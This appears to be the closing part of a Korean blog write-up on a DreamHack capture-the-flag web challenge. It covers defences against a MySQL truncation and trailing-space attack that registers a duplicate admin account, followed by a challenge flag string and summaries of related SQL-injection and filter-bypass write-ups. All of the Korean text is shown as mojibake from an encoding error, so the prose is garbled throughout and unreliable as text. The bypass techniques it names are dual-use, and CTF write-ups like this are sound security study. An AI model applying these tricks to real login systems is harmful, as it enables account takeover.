์ค‘๋ณต ์ฒดํฌ๋Š” "์ž…๋ ฅ ๋ฌธ์ž์—ด๊ณผ ์ •ํ™•ํžˆ ์ผ์น˜" ๋ฅผ ๋ดค๋Š”๋ฐ, ์‹ค์ œ ์ €์žฅ์€ "๊ธธ์ด ์ดˆ๊ณผ๋ถ„ ์ž˜๋ผ๋‚ด๊ธฐ + ๋ ๊ณต๋ฐฑ ๋ฌด์‹œ ๋น„๊ต" ์˜€๋‹ค. ๊ฒ€์ฆํ•˜๋Š” ๊ฐ’๊ณผ ์ €์žฅยท๋น„๊ต๋˜๋Š” ๊ฐ’์ด ์„œ๋กœ ๋‹ค๋ฅธ ๊ทœ์น™์„ ๋”ฐ๋ฅด๋ฉด, ๊ทธ ์‚ฌ์ด์— ๋ฐ˜๋“œ์‹œ ์šฐํšŒ ๊ฐ€๋Šฅํ•œ ํ‹ˆ์ด ์ƒ๊ธด๋‹ค. ๊ฒ€์ฆ์€ ์ €์žฅ๋  ์ตœ์ข… ํ˜•ํƒœ(์ •๊ทœํ™”ยท์ ˆ๋‹จ ํ›„)๋ฅผ ๊ธฐ์ค€์œผ๋กœ ํ•ด์•ผ ํ•œ๋‹ค.

MySQL ์„ strict ๋ชจ๋“œ๋กœ ์šด์˜ํ•ด์•ผ ํ•œ๋‹ค.

๋น„์—„๊ฒฉ ๋ชจ๋“œ๋Š” ์ปฌ๋Ÿผ ๊ธธ์ด๋ฅผ ์ดˆ๊ณผํ•˜๋Š” INSERT ๋ฅผ ์กฐ์šฉํžˆ ์ž˜๋ผ ์ €์žฅํ•œ๋‹ค. sql_mode ์— STRICT_ALL_TABLES(๋˜๋Š” STRICT_TRANS_TABLES)๋ฅผ ์ผœ๋ฉด ์ด๋Ÿฐ ์ž…๋ ฅ์ด ๊ฒฝ๊ณ ๊ฐ€ ์•„๋‹ˆ๋ผ ์—๋Ÿฌ๋กœ ๊ฑฐ๋ถ€๋˜์–ด, ํŠธ๋ ์ผ€์ด์…˜ ๊ณต๊ฒฉ ์ž์ฒด๊ฐ€ ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค. ์š”์ฆ˜ MariaDB ๋Š” ๊ธฐ๋ณธ์ด strict ์ง€๋งŒ, ์˜ค๋ž˜๋œ ์Šคํƒ์ด๋‚˜ ๋ช…์‹œ์ ์œผ๋กœ ๋ˆ ํ™˜๊ฒฝ์—์„œ๋Š” ์—ฌ์ „ํžˆ ์ทจ์•ฝํ•˜๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๊ธธ์ดยท์ •๊ทœํ™”๋ฅผ ๊ฐ•์ œํ•ด์•ผ ํ•œ๋‹ค.

ํด๋ผ์ด์–ธํŠธ์˜ maxlength ๋Š” curl ํ•œ ๋ฒˆ์ด๋ฉด ์šฐํšŒ๋œ๋‹ค. ์„œ๋ฒ„์—์„œ ์ž…๋ ฅ ๊ธธ์ด๋ฅผ ์ปฌ๋Ÿผ ๊ธธ์ด ์ดํ•˜๋กœ ๊ฒ€์ฆํ•˜๊ณ , ์ €์žฅ ์ „์— TRIM() ๋“ฑ์œผ๋กœ ์ •๊ทœํ™”ํ•˜๋ฉด admin ๊ณผ admin ์ด ๊ฐ™์€ ๊ฐ’์œผ๋กœ ์ทจ๊ธ‰๋˜์–ด ์• ์ดˆ์— ์ด์ค‘ ๋“ฑ๋ก์ด ๋ถˆ๊ฐ€๋Šฅํ•ด์ง„๋‹ค. id ์ปฌ๋Ÿผ์— UNIQUE ์ œ์•ฝ์„ ๊ฑธ์–ด ๋‘๋Š” ๊ฒƒ๋„ ์ด์ค‘ ๋ฐฉ์–ด๊ฐ€ ๋œ๋‹ค.

์ผ๋ฐ˜ํ™”ํ•˜๋ฉด, ๋ฌธ์ž์—ด์˜ "์ €์žฅ ํ˜•ํƒœ"์™€ "๋น„๊ต ๊ทœ์น™"์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฐ€์ •๊ณผ ์–ด๊ธ‹๋‚˜๋Š” ์ˆœ๊ฐ„์ด ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด๋‹ค. ์ด ๋ฌธ์ œ์˜ PADSPACEยทํŠธ๋ ์ผ€์ด์…˜ ๋ง๊ณ ๋„, ์œ ๋‹ˆ์ฝ”๋“œ ์ •๊ทœํ™”(๏ฌ โ†’ fi), ๋Œ€์†Œ๋ฌธ์ž ์ฝœ๋ ˆ์ด์…˜, null ๋ฐ”์ดํŠธ ์ ˆ๋‹จ, ์˜ค๋ฒ„๋กฑ ์ธ์ฝ”๋”ฉ ๋“ฑ "๊ฐ™์•„ ๋ณด์ด์ง€๋งŒ ๋‹ค๋ฅธ / ๋‹ฌ๋ผ ๋ณด์ด์ง€๋งŒ ๊ฐ™์€" ๋ฌธ์ž์—ด์€ ์ธ์ฆ ์šฐํšŒ์˜ ๋‹จ๊ณจ ์†Œ์žฌ๋‹ค. ์ธ์ฆยท๊ถŒํ•œ์ฒ˜๋Ÿผ ๋™์ผ์„ฑ ํŒ๋‹จ์ด ์ค‘์š”ํ•œ ๊ณณ์—์„œ๋Š” ์ž…๋ ฅ์„ ๋จผ์ € ์ •๊ทœํ™”ํ•˜๊ณ , ๊ทธ ์ •๊ทœํ™”๋œ ๊ฐ’์œผ๋กœ ๊ฒ€์ฆยท์ €์žฅยท๋น„๊ต๋ฅผ ์ผ๊ด€๋˜๊ฒŒ ํ•ด์•ผ ํ•œ๋‹ค.


FLAG: DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] ๋Œ€๋ฌธ์ž GUEST๋กœ guest ํ•„ํ„ฐ ํ”ผํ•˜๊ธฐ โ€” DreamHack [wargame.kr] login filtering ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ๋Œ€๋ฌธ์ž GUEST๋กœ guest ํ•„ํ„ฐ ํ”ผํ•˜๊ธฐ โ€” DreamHack [wargame.kr] login filtering ํ’€์ด

guest/blueh4g ๊ณ„์ •์€ PHP ๋ฌธ์ž์—ด ๋น„๊ต๋กœ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ๊ฑธ๋ ค ์žˆ๋‹ค. mysqli_real_escape_string์ด ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ค ๋ง‰์•„ SQL Injection์€ ์•ˆ ๋˜์ง€๋งŒ, MySQL ๊ธฐ๋ณธ ์ฝœ๋ ˆ์ด์…˜์€ ๋ฌธ์ž์—ด์„ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ ์—†์ด ๋น„๊ตํ•œ๋‹ค. id=GUEST(๋Œ€๋ฌธ์ž)๋กœ ๋ณด๋‚ด๋ฉด DB ์กฐํšŒ๋Š” guest ํ–‰ ๊ทธ๋Œ€๋กœ ๋งค์น˜ํ•˜๋ฉด์„œ, PHP์˜ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ ๋น„๊ต๋Š” ํ†ต๊ณผํ•ด ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋ฅผ ํ”ผํ•ด๊ฐ„๋‹ค.
#dreamhack#ctf#web+5
2026-07-06#dreamhack +5
[๐Ÿฅˆ Silver 3] ASCII()๊ฐ€ ๊ฑฐ์ง“๋ง์„ ํ•˜๋Š” ๋ธ”๋ผ์ธ๋“œ SQLi โ€” DreamHack blind sql injection advanced ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ASCII()๊ฐ€ ๊ฑฐ์ง“๋ง์„ ํ•˜๋Š” ๋ธ”๋ผ์ธ๋“œ SQLi โ€” DreamHack blind sql injection advanced ํ’€์ด

uid ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ SQL์— ๊ทธ๋Œ€๋กœ ์‚ฝ์ž…๋˜๋Š” boolean blind SQLi๋ฅผ ์ž๋™ํ™”ํ•˜๋‹ค๊ฐ€, ํ•œ๊ธ€์ด ์„ž์ธ ํ”Œ๋ž˜๊ทธ ๋•Œ๋ฌธ์— ASCII() ์ด์ง„ํƒ์ƒ‰์ด ๋์—†์ด ์ฐธ์œผ๋กœ ๋‚˜์˜ค๋Š” ํ˜„์ƒ์— ๋ถ€๋”ชํ˜”๋‹ค. MySQL์˜ ASCII()์™€ ORD()๊ฐ€ ๋ฉ€ํ‹ฐ๋ฐ”์ดํŠธ ๋ฌธ์ž๋ฅผ ๋‹ค๋ฃจ๋Š” ๋ฐฉ์‹ ์ฐจ์ด๋ฅผ ํŒŒ๊ณ ๋“ค์–ด ์šฐํšŒํ•œ ๊ณผ์ •์„ ์ •๋ฆฌํ•œ๋‹ค.
#dreamhack#ctf#web+4
2026-07-04#dreamhack +4
[๐Ÿฅˆ Silver 1] ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค โ€” DreamHack Login Page ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค โ€” DreamHack Login Page ํ’€์ด

๋ถ€๋“ฑํ˜ธ๋„ ์‹œ๊ฐ„์ง€์—ฐ๋„ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ๋ง‰ํžŒ ๋ธ”๋ผ์ธ๋“œ SQL ์ธ์ ์…˜. ๊ฒŒ๋‹ค๊ฐ€ ์ฟผ๋ฆฌ๊ฐ€ ํ–‰์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒˆ๋กœ ๋งŒ๋“ค์–ด ๋ฒ„๋ ค์„œ, ํ”ํ•œ "์ฐธ์ด๋ฉด ๋กœ๊ทธ์ธ๋œ๋‹ค" ์˜ค๋ผํด์„ ์“ฐ๋Š” ์ˆœ๊ฐ„ ๋‹ต์ด ๋ฐ”๋€๋‹ค. ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ๋งŒ MySQL ์„ EXP(999) ๋กœ ์ฃฝ์—ฌ HTTP 500 ์„ ์–ป๊ณ , ๋น„๊ต๋Š” GREATEST ํ•ญ๋“ฑ์‹์œผ๋กœ ๋Œ€์‹ ํ•ด 32์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ 225์งˆ์˜์— ๋ณต์›ํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-08-10#dreamhack +4